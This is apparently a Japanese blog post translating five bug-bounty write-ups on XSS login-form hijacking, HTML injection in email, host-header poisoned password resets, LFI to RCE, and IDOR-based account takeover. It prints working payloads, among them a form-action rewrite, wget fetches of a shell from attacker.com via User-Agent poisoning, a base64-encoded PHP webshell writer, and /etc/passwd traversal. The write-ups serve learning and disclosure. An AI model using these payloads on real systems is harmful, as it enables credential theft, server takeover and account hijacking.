Shikata Ga Nai

Private? There is no such things.

How I get Full Account Takeover via stealing action’s login form | XSSを訳してみた

Hello there, ('ω')ノ

 

窃盗アクションのログインフォームで完全なアカウント乗っ取りを取得する方法を。

 

脆弱性:

 XSS

 アカウント乗っ取り

 

記事:

 https://medium.com/@mohamedtarekq/how-i-get-full-account-takeover-via-stealing-actions-login-form-xss-9e50068c2b2d

 

今回は、ログイン ページに XSS がある場合に、ログイン フォームのアクションを。

盗んでアカウントの完全な乗っ取りを取得する方法について説明することに。

このプログラムをexample.comとよぶことに。

 

XSS を見つけた方法:

偵察を行うときは、通常、ターゲットの Web アーカイブ URL を確認して。

下記のURL を見つけて。

 https://www.example.com/account/?jid=77877

 

jid パラメーターには検証がないため、単純な XSS ペイロードを追加すると。

アラートが発生して。

 

 

しかし、プログラムの概要は次のように述べていて。

    XSS の問題については、セッション Cookie やその他の機密情報を。

 実際に盗むことができることを示す POC を提供するようと。

 ポップアップに Cookie を表示するだけでは有効とは見なされず。

 その代わりに、セッション Cookie を同一オリジン ポリシーの制限外で。

 送信できることを示すようと。

 これを示さない XSS の問題は、有効な問題とは見なされず。

 

アカウントの乗っ取りにエスカレーションする時間:

ログインページにいて、このページのすべてをJavaScriptで制御できるXSSを。

持っていると自問して。

では、ログインフォームのアクションを変更して、ユーザ名とパスワードを。

サーバに送信するとどうなるか。

このような単純な JavaScript コードは、フォームのアクションに変更して。

 

 document.forms[1].action='https:///?Hacked'

 

最終ペイロード:

 https://www.example.com/account/?jid=77877"><svg onload=document.forms[1].action='https:///?Hacked'>

 

サーバとして Burb Collaborator を使用して確認すると。

ユーザ名とパスワードが見つかって。

 

 

Best regards, (^^ゞ

How I Earned €150 in 2 Minutes | HTML injection in emailを訳してみた

Hello there, ('ω')ノ

 

メールへの HTML インジェクションを。

 

脆弱性:

 HTMLインジェクション

 

記事:

 https://medium.com/@whitehatcyber404/how-i-earned-150-in-2-minutes-html-injection-in-email-3f26f27d3822

 

序章 :

今回は、バグ報奨金プログラムの電子メールで HTML インジェクションを。

見つけた方法について。

まず、ターゲットの example.com を呼ぶことに。

 

HTML インジェクションとは、クロス サイト スクリプティングとも呼ばれて。

1.HTML インジェクションは、他のユーザが閲覧している Web ページに。

 攻撃者が HTML コードを挿入できるセキュリティ上の脆弱性で。

 

2.HTML インジェクションは、アプリケーションがユーザ入力を受け取り。

 その入力を HTML に埋め込む脆弱性で。

 悪意のあるユーザは、ユーザ入力を介して HTML を挿入し。

 アプリケーションによって生成される HTML 全体に悪意のある HTML を。

 埋め込むことができて。


再現する手順 :

1.https://www.example.com に移動して。

2.この Web サイトにフィードバックのポップアップが表示されて。

 

 

3.フォームに入力し、フィードバック列に HTML ペイロードを入力し。

 被害者の電子メールを入力して「送信」ボタンをクリックして。

 

ペイロード:

<img src=”https://static.wikia.nocookie.net/mrbean/images/4/4b/Mr_beans_holiday_ver2.jpg">

 

4.メールの受信トレイを確認すると、HTML タグが実行されて。


深刻な脆弱性:

 他のユーザの悪用

 汚染

 フィッシング


影響 :

HTML インジェクション、フィッシング攻撃 この脆弱性により。

Mobile Vikings の公式メール アドレスからのメールが再フォーマット/編集され。

標的型フィッシング攻撃に使用される可能性があり。

おそらく、この種の脆弱性を利用した攻撃者で。

18 枚以上の画像を送信する可能性は非常に高くなり。

会社名に関する誤解は、人々に影響を与える可能性があって。


解決策:

入力のサニタイズと検証は、通常、防御の最初のレイヤーで。

サニタイズは、ユーザ入力から安全でない文字を削除することで構成され。

検証により、データが期待される形式とタイプであるかどうかがチェックされて。

 

Best regards, (^^ゞ

ATO via Host Header Poisoningを訳してみた

Hello there, ('ω')ノ

 

ホストヘッダポイズニングによるアカウント乗っ取りを。

 

脆弱性:

 ホストヘッダインジェクション

 アカウントの乗っ取り

 パスワード リセットの脆弱性

 

記事:

 https://sechunter.medium.com/ato-via-host-header-poisoning-dc5c29d2fd0d

 

今回は、ホスト ヘッダ ポイズニングによるアカウント乗っ取りに関するもので。

Redacted.com はホスト ヘッダ インジェクションに対して脆弱であり。

リモートの攻撃者がこれを悪用して redacted.com のアカウントを。

乗っ取ることができて。


攻撃シナリオ:

攻撃者として、POST リクエストを変更することに。

最初に Host ヘッダの値を Evil.com に変更しましたが、何も起こらず。

次に X-Forwarded-Host ヘッダに Evil.com の値を追加しましたが、再び何も起こらず。

今回は Referrer ヘッダの値も変更し、X-Forwarded-Host ヘッダの値と同じ値を。

設定したところ、うまくいって。

リクエストは次のようになり。

 

 POST /forgot HTTP/1.1
 Host: redacted.com
 X-Forwarded-Host: evil.com
 Referrer: https://evil.com

    username=<username>&_csrf_token=5905477eb5efbc742cb051b922df433a775ae92e

 

 

リクエストを送信した後、evil.com が次のようなホストのメールを受け取って。

 


再現手順:

1.「 https://redacted.com/forgot」に移動して。

 

2.次にユーザ名を入力し、Burp Suite を使用して。

 そのリクエストをインターセプトして。

 

3.次の 2 つのヘッダを POST リクエストに追加して。

 X-Forwarded-Host: evil.com
    Referrer: https://evil.com

 

4. そのリクエストを転送し、ユーザ名にリンクされているメールを確認して。

 

Best regards, (^^ゞ

Leveraging LFI to RCE in a website with +20000 usersを訳してみた

Hello there, ('ω')ノ

 

20000 人以上のユーザがいる Web サイトで LFI を RCE に活用を。

 

脆弱性:

 LFI

 RCE

 

記事:

 https://infosecwriteups.com/leveraging-lfi-to-rce-in-a-website-with-20000-users-129050f9982b

 

LFI 脆弱性の発見:

Web サイトを参照して、興味深いエンドポイントを見つけられるかどうかを。

確認するのに [お問い合わせ] をクリックすると。

興味深いエンドポイントにつながって。

 

 https://www.website.com/index.php?pg=contact.php

 

pg パラメータのファジングを開始したところ、次のペイロードを使用して。

LFI が可能であることがわかって。

 

 https://www.website.com/index.php?pg=../../../../etc/passwd

 

これまでのところ、LFI はうまくいっていますが、影響を増やすことに。


LFIからRCEへ:

LFI の脆弱性を RCE にエスカレートするために考えられるすべての既知の手法を。

使用したところ、/proc/self/environ を読み取ることができることがわかったので。

次のコードを入力すると情報が漏洩して。

 

 https://www.website.com/index.php?pg=../../../../proc/self/environ

 

出力を分析すると、/proc/self/environ の下にあるファイルに。

HTTP_USER_AGENT などのいくつかの環境変数が含まれていることがわかって。

 

 

Burp Suite を起動して、User-Agent の値を変更してリクエストを送信して。

User-Agent に次の値を追加してみると。

 

system() を試しましたが、RCE はなし:

 User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

 

exec() を試しましたが、RCE はなし:

 User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

 

phpinit() を試しましたが、失敗:

 User-Agent: <?php phpinfo(); ?>

 

サーバ内にファイルを書き込めるのを忘れていたので。

以下のペイロードを試すことに。

User-Agent HTTP ヘッダで使用するペイロードを作成することに。

 

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

 

使用ペイロードの説明:

Webshel​​l は base64 でエンコードされていて、変数a に格納されて。

元の webshel​​l php コードは 下記のもので。

 

 https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php

 

$a = base64_decode('webshel​​l_base64_encoded_code_here');

 

その後、nadeshot.php という名前のファイルを書き込むようにサーバに指示して。

 $file = fopen('nadeshot.php','w');

 

次に、サーバーはコード (base64 でデコード) を nadeshot.php に書き込みます。

 echo fwrite($file,$a);

 

次に、サーバはファイルを保存します。

 fclose($file);

 

それでは、このペイロード全体を Burp Suite で実行してみて、何が起こるかを。

 

 

レスポンス 200 (OK) を取得して。

https://website.com/nadeshot.php に移動して。

正常に実行されたかどうかを確認することに。

下記が、アップロードされた webshel​​lで。

 

 

webshel​​lは、 /nadeshot.php にアップロードされて。

それでは、単純な .txt ファイルを作成して動作するかどうかを確認すると。

 

 

nadeshot.txt という名前のテキスト ファイルを作成し、[Write] をクリックして。

https://website.com/nadeshot.txt にアクセスすると。

テキスト ファイルが表示されて。

LFI から RCE への影響力を高めることに成功して。

 

 

Best regards, (^^ゞ

PII Leakage via IDOR + Weak PasswordReset = Full Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

IDOR による PII 漏えい + 脆弱な PasswordReset = アカウントの完全な乗っ取りを。

 

脆弱性:

 IDOR、情報開示

 

記事:

 https://infosecwriteups.com/pii-leakage-via-idor-weak-passwordreset-full-account-takeover-58d159f88d73

 

PII漏洩とは、個人を特定できる情報 (PII) は、ユーザ名、ユーザID、その他の。

個人情報など、特定の個人を特定できる可能性のあるデータで。

PII 漏えいは、そのようなデータの露出で。


アカウント乗っ取りの脆弱性とは、ハッカーがアプリケーションのロジックの。

欠陥を悪用して、ユーザのアカウントを完全に制御できる脆弱性の一種で。

今回のプログラムを redacted.com とよぶことに。

 

ターゲットのパスワードのリセット機能をテストし始めたときに始まって。

他の Web サイトと同様に、https://redacted.com/forgotpassword のパスワードを。

忘れた場合も、パスワード変更のために登録メール アドレスにメールが送信されて。

パスワードのリセットリンクは次のとおりで。

    https://redacted.com/forgot_password/5f12cc7079f273.12051864/1597479504/NTg4NTg4a2lsbGVyQGdtYWlsLmNvbWFzZGZnaGprbDkxODI3Mzc0NjUwMDA=+++NTg4NTg4a2lsbGVy+++NTg4NTg4

 

パスワードを変更してもリンクの有効期限が切れず。

もう一度パスワードのリセットを要求すると、次のリンクが表示されて。

    https://redacted.com/forgot_password/8ac79ccf2a33.12057854/1597486704/NTg4NTg4a2lsbGVyQGdtYWlsLmNvbWFzZGZnaGprbDkxODI3Mzc0NjUwMDA=+++NTg4NTg4a2lsbGVy+++NTg4NTg4

 

注意すべきことは、URL の最後の部分が両方のリンクで同じであることで。

上記のリンクを分析した後:

 1597486704 ⇨ Unix タイムスタンプ

 

URL の最後の部分は base64 で、デコードすると次のようになって。

 

 588588killer@gmail.comasdfghjkl9182737465000+++588588killer+++588588

 

 

ここで、588588 は自分のユーザー ID で。

killer@gmail.com は自分のメール アドレスで。

でも [asdfghjkl9156837465000] は何なのかわからず。

しばらくリンクをいじった後、URL の最後の部分、つまりユーザID だけがパ。

スワードのリセットのためにサーバによって検証されていることがわかって。

  https://redacted.com/forgot_password/5f12cc7079f273.12051864/1597479504/NTg4NTg4a2lsbGVyQGdtYWlsLmNvbWFzZGZnaGprbDkxODI3Mzc0NjUwMDA=+++NTg4NTg4a2lsbGVy+++[VALIDATED_PART]

 

したがって、ユーザーIDを知っていれば、パスワードを簡単に変更できて。

ここでの目標は、ユーザの UserID が漏洩または漏えいした場所を見つけることで。

数日間の偵察の後、JavaScript ファイル内のエンドポイントで。

IDOR を見つけることができて。

エンドポイントは userID パラメータのみを必要としていたため。

ユーザーIDに属していたユーザ名、電子メール アドレス、さらには所属する住所など。

多くの機密情報が漏えいして。

 

IDOR リンク:

 https://redacted.com/razor/verify_email?rand=588588&request=wcq

 

あとは、力ずくで各ユーザ ID のメール アドレスを列挙するだけで済んで。

ちなみに UserID =1 は管理者に属していて。

 

簡単な流れ:

1.エンドポイントから userID と Email Address を列挙

2.パスワードをリセット

3.新しいパスワードでログイン

4.完全なアカウントの乗っ取り

 

追伸:

Web サイトには、銀行口座番号、PAN、Adhar カード、その他の機密データなどの。

個人情報が保存されており、被害者のアカウントに署名した後にアクセスできて。

 

Best regards, (^^ゞ